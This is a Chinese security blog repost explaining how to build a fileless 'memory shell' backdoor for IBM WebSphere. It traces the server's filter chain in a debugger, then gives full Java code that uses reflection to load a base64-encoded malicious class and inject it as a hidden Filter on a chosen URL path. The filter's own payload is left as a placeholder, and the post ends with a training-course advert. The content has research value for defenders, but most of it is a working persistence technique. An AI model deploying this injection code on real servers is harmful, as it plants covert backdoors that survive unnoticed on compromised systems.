【干货分享】WebSphere内存马分析

admin 2023年4月26日18:21:42评论46 views字数 13198阅读43分59秒阅读模式

【干货分享】WebSphere内存马分析

网安教育

培养网络安全人才

技术交流、学习咨询



目        录

环境部署

分析Filter

编写内存马

1、获取到WebAppFilterManager对象

2、实例化恶意Filter相关的FilterChainContents......

3、实例化恶意Filter相关的FilterInstanceWrapper......

4、完整代码

后话




01





环境部署



docker部署环境


 1docker pull ibmcom/websphere-traditional
2
3docker run --name websphere -h websphere -e UPDATE_HOME=true -p 9043:9043  -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional
4
5docker exec -it websphere cat /tmp/PASSWORD
6
79043端口
8
99443端口
10
117777端口
12
13/tmp/PASSWORD:控制台登录密码,账号:wsadmin
14
15登录后台: https://ip:9043/ibm/console


进入后台

【干货分享】WebSphere内存马分析

设置websphere为Debug模式

【干货分享】WebSphere内存马分析

【干货分享】WebSphere内存马分析

【干货分享】WebSphere内存马分析

【干货分享】WebSphere内存马分析

【干货分享】WebSphere内存马分析

【干货分享】WebSphere内存马分析

绑定端口

编写DemoFilter和DemoServlet,配置项目的web.xml

【干货分享】WebSphere内存马分析


 1<?xml version="1.0" encoding="UTF-8"?>
2<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
3         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
5         version="4.0">

6    <filter>
7        <filter-name>TestFilter</filter-name>
8        <filter-class>TestFilter</filter-class>
9    </filter>
10    <filter-mapping>
11        <filter-name>TestFilter</filter-name>
12        <url-pattern>/test</url-pattern>
13    </filter-mapping>
14
15    <servlet>
16        <servlet-name>TestServlet</servlet-name>
17        <servlet-class>TestServlet</servlet-class>
18    </servlet>
19    <servlet-mapping>
20        <servlet-name>TestServlet</servlet-name>
21        <url-pattern>/test</url-pattern>
22    </servlet-mapping>
23</web-app>


生成war包

【干货分享】WebSphere内存马分析

将war包导入服务器中

【干货分享】WebSphere内存马分析

【干货分享】WebSphere内存马分析




02





分析Filter



在Servlet 中打下断点,观察调用栈,通过调用栈观察是哪里调用了TestFilter.

【干货分享】WebSphere内存马分析


【干货分享】WebSphere内存马分析


com.ibm.ws.webcontainer.filter.FilterInstanceWrapper中调用了TestFilter

【干货分享】WebSphere内存马分析


而this._filterInstance是构造方法FilterInstanceWrapper传入的参数获取的。那么观察哪里实例化了一个FilterInstanceWrapper对象。

【干货分享】WebSphere内存马分析

继续观察调用栈,可以看到在com.ibm.ws.webcontainer.filter.WebAppFilterChain中通过(FilterInstanceWrapper)this._filters.get(this._currentFilterIndex)实例化FilterInstanceWrapper,那么继续观察this._filters是如何生成的。

【干货分享】WebSphere内存马分析

在com.ibm.ws.webcontainer.filter.WebAppFilterChain中看到_filters为new ArrayList()。

【干货分享】WebSphere内存马分析

并且在com.ibm.ws.webcontainer.filter.WebAppFilterChain中看到addFilter方法,该方法中调用了this._filters.add(fiw),其中fiw为FilterInstanceWrapper类型在这个地方打下断点,重新调试,观察哪里调用了该方法,了解是怎么生成WebAppFilterChain._filters。

【干货分享】WebSphere内存马分析

在com.ibm.ws.webcontainer.filter.WebAppFilterManager中的getFilterChain()方法,调用了WebAppFilterChain的addFilter。

关注该方法中的以下代码。

【干货分享】WebSphere内存马分析


1newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i)));


其中this.getFilterInstanceWrapper((String)filterNames.get(i))。

这里有两个需要关注的地方,this.getFilterInstanceWrapper()和(String)filterNames.get(i)。

首先是(String)filterNames.get(i)。可以看到其实filternames实际上来自于this.getFilterChainContents

【干货分享】WebSphere内存马分析

跟进getFilterChainContents观察,可以看到fcc来自于com.ibm.ws.webcontainer.filter.WebAppFilterManager对象中的chainCache变量

【干货分享】WebSphere内存马分析

【干货分享】WebSphere内存马分析


接着是this.getFilterInstanceWrapper(),这里就是com.ibm.ws.webcontainer.filter.WebAppFilterManager::getFilterInstanceWrapper()

通过filtername来获取当前WebAppFilterManager对象中的FilterInstanceWrapper对象。

【干货分享】WebSphere内存马分析

构造内存马的思路:

1、获取到WebAppFilterManager对象

2、实例化恶意Filter相关的FilterChainContents,添加到WebAppFilterManager.chainCache

3、实例化恶意Filter相关的FilterInstanceWrapper,添加到WebAppFilterManager._filterWrappers



03





编写内存马



1、获取到WebAppFilterManager对象


在当前线程中寻找上下文。

【干货分享】WebSphere内存马分析

从当前线程中获取currentThreadsIExtendedRequest,通过调用getServletContext(),获取上下文。在上下文中可以获取到当前线程的WebAppFilterManager对象filterManager。

 1private static WebAppImpl context;
2
3private static synchronized void GetWebContent() throws Exception{
4    try {
5        Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
6        for (int i = 0; i < wsThreadLocals.length; i++) {
7            if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
8                currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
9            }
10        }
11        ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
12        System.out.println("Step 1");
13
14        context = (WebAppImpl)GetField(servletContext,"context");
15    }catch (Exception e){
16        e.printStackTrace();
17    }
18}
19
20private static synchronized Object GetField(Object o, String k) throws Exception{
21    Field f;
22    try {
23        f = o.getClass().getDeclaredField(k);
24    } catch (NoSuchFieldException e) {
25        try{
26            f = o.getClass().getSuperclass().getDeclaredField(k);
27        }catch (Exception e1){
28            f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
29        }
30    }
31    f.setAccessible(true);
32    return f.get(o);
33}


【干货分享】WebSphere内存马分析

接着从web上下文中获取到filterManager。

【干货分享】WebSphere内存马分析


1private static synchronized void InjectFilter() throws Exception {
2    try {
3        if(context!=null){
4            filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
5            ....


2、实例化恶意Filter相关的FilterChainContents......


从filterManager中获取到当前线程的chainCache,通过反射实例化一个FilterChainContents,对照TestFilter的FilterChainContents,去构造恶意Filter相关的FilterChainContents。

【干货分享】WebSphere内存马分析


【干货分享】WebSphere内存马分析



 1private static synchronized void InjectFilter() throws Exception {
2        try {
3            if(context!=null){
4                filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
5
6                chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
7                Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
8                constructor.setAccessible(true);
9                Object filterChainContents = constructor.newInstance();
10
11                //Step1
12                ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
13               _filterNames.add(filterName);
14                SetField(filterChainContents,"_hasFilters",true);
15                chainCache.put(url,filterChainContents);


3、实例化恶意Filter相关的FilterInstanceWrapper......


对照TestFilter的FilterInstanceWrapper,构造恶意Filter相关的FilterInstanceWrapper。

【干货分享】WebSphere内存马分析

从当前filterManager对象中获取到_filterWrappers,直接通过New FilterInstanceWrapper()实例化一个新的FilterInstanceWrapper。

这里有几个我认为需要注意的地方。

1、实例化FilterInstanceWrapper时,需要传入的参数为ManagedObject<Filter>类型

【干货分享】WebSphere内存马分析

而在早版本的websphere中是filter类型的参数

【干货分享】WebSphere内存马分析

所以这里需要进行一个类型转换。

【干货分享】WebSphere内存马分析

2、_filtersDefined设置为true的原因是因为这里对_filtersDefined进行判断。

【干货分享】WebSphere内存马分析

3、_filterState 设置为 2 的原因是因为这里对_filterState==2进行校验了

【干货分享】WebSphere内存马分析


4、完整代码


为了方便调试,直接在Sevlet的Get请求中编写内存马加载过程。

  1import com.ibm.ws.managedobject.ManagedObject;
 2import com.ibm.ws.managedobject.ManagedObjectContext;
 3import com.ibm.ws.webcontainer.cdi.WCManagedObject;
 4import com.ibm.ws.webcontainer.filter.FilterConfig;
 5import com.ibm.ws.webcontainer.filter.FilterInstanceWrapper;
 6import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
 7import com.ibm.ws.webcontainer.srt.SRTServletRequest;
 8import com.ibm.ws.webcontainer.webapp.WebAppEventSource;
 9import com.ibm.ws.webcontainer.webapp.WebAppImpl;
10import com.ibm.wsspi.webcontainer.webapp.WebAppConfig;
11
12import sun.misc.BASE64Decoder;
13
14import javax.servlet.*;
15import javax.servlet.http.HttpServlet;
16import javax.servlet.http.HttpServletRequest;
17import javax.servlet.http.HttpServletResponse;
18
19import java.io.IOException;
20import java.lang.reflect.Constructor;
21import java.lang.reflect.Field;
22import java.lang.reflect.Method;
23import java.util.*;
24
25public class TestServlet extends HttpServlet {
26    @Override
27    public void init(ServletConfig servletConfig) throws ServletException {
28
29    }
30
31    private static String filterName = "HFilter";
32    private static String filterClassName = "com.sso.HFilter";
33    private static String url = "/ccc";
34    private static SRTServletRequest currentThreadsIExtendedRequest = null;
35    private static WebAppImpl context;
36    private static WebAppFilterManagerImpl filterManager= null;
37    private static Map<String, Object> chainCache = null;
38    private static Hashtable<String, FilterInstanceWrapper> _filterWrappers;
39
40
41
42    @Override
43    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
44        resp.getWriter().println("This is Http");
45        try {
46            LoadFilter();
47            GetWebContent();
48            InjectFilter();
49        } catch (Exception e) {
50            e.printStackTrace();
51        }
52
53    }
54
55    private static synchronized void LoadFilter() throws Exception {
56        try{
57            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
58        }catch (Exception e){
59            Method a = ClassLoader.class.getDeclaredMethod("defineClass"byte[].class, Integer.TYPE, Integer.TYPE);
60            a.setAccessible(true);
61            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
62            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
63        }
64    }
65
66    private static synchronized void GetWebContent() throws Exception{
67        try {
68            Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
69            for (int i = 0; i < wsThreadLocals.length; i++) {
70                if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
71                    currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
72                }
73            }
74            ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
75            System.out.println("Step 1");
76
77            context = (WebAppImpl)GetField(servletContext,"context");
78        }catch (Exception e){
79            e.printStackTrace();
80        }
81    }
82
83    private static synchronized Object GetField(Object o, String k) throws Exception{
84        Field f;
85        try {
86            f = o.getClass().getDeclaredField(k);
87        } catch (NoSuchFieldException e) {
88            try{
89                f = o.getClass().getSuperclass().getDeclaredField(k);
90            }catch (Exception e1){
91                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
92            }
93        }
94        f.setAccessible(true);
95        return f.get(o);
96    }
97
98
99    public TestServlet() {
100    }
101
102    private static synchronized void InjectFilter() throws Exception {
103        try {
104            if(context!=null){
105                filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
106
107                chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
108                Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
109                constructor.setAccessible(true);
110                Object filterChainContents = constructor.newInstance();
111
112                //Step1
113                ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
114                _filterNames.add(filterName);
115                SetField(filterChainContents,"_hasFilters",true);
116                chainCache.put(url,filterChainContents);
117
118                //Step2
119                _filterWrappers = (Hashtable<String, FilterInstanceWrapper>) GetField(filterManager,"_filterWrappers");
120                javax.servlet.Filter filter =  (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
121                WebAppEventSource _evtSource = (WebAppEventSource) GetField(filterManager,"_evtSource");
122
123                ManagedObject filterMo = context.createManagedObject(filter);
124                FilterInstanceWrapper filterInstanceWrapper = new FilterInstanceWrapper(filterName,filterMo,_evtSource);
125
126                SetField(filterInstanceWrapper,"_filterState",2);
127
128                Object webAppConfig = GetField(filterManager,"webAppConfig");
129                FilterConfig filterConfig = new FilterConfig(filterName,(WebAppConfig) webAppConfig);
130
131                HashSet<DispatcherType> set = new HashSet();
132                set.add(DispatcherType.REQUEST);
133                filterConfig.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),true,url);
134
135                SetField(filterInstanceWrapper,"_filterConfig",filterConfig);
136
137                _filterWrappers.put(filterName,filterInstanceWrapper);
138
139                SetField(filterManager,"_filtersDefined",true);
140                System.out.println("123");
141
142            }
143        }catch (Exception e){
144            e.printStackTrace();
145        }
146    }
147
148    private static synchronized void SetField(Object o, String k,Object v) throws Exception{
149        Field f;
150        try{
151            f = o.getClass().getDeclaredField(k);
152        }catch (NoSuchFieldException e){
153            f = o.getClass().getSuperclass().getDeclaredField(k);
154        }catch (Exception e1){
155            f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
156        }
157        f.setAccessible(true);
158        f.set(o,v);
159    }
160
161
162
163    @Override
164    public void destroy() {
165
166    }
167
168
169}


后话

如分析有不对之处,望斧正~~


END
【干货分享】WebSphere内存马分析


文:饼干屑小鬼

原文链接:https://xz.aliyun.com/t/12278#toc-0

版权声明:著作权归作者所有。如有侵权请联系删除


网安训练营

网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【干货分享】WebSphere内存马分析

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【干货分享】WebSphere内存马分析


我就知道你“在看”
【干货分享】WebSphere内存马分析


原文始发于微信公众号(开源聚合网络空间安全研究院):【干货分享】WebSphere内存马分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月26日18:21:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【干货分享】WebSphere内存马分析http://cn-sec.com/archives/1693507.html

发表评论

匿名网友 填写信息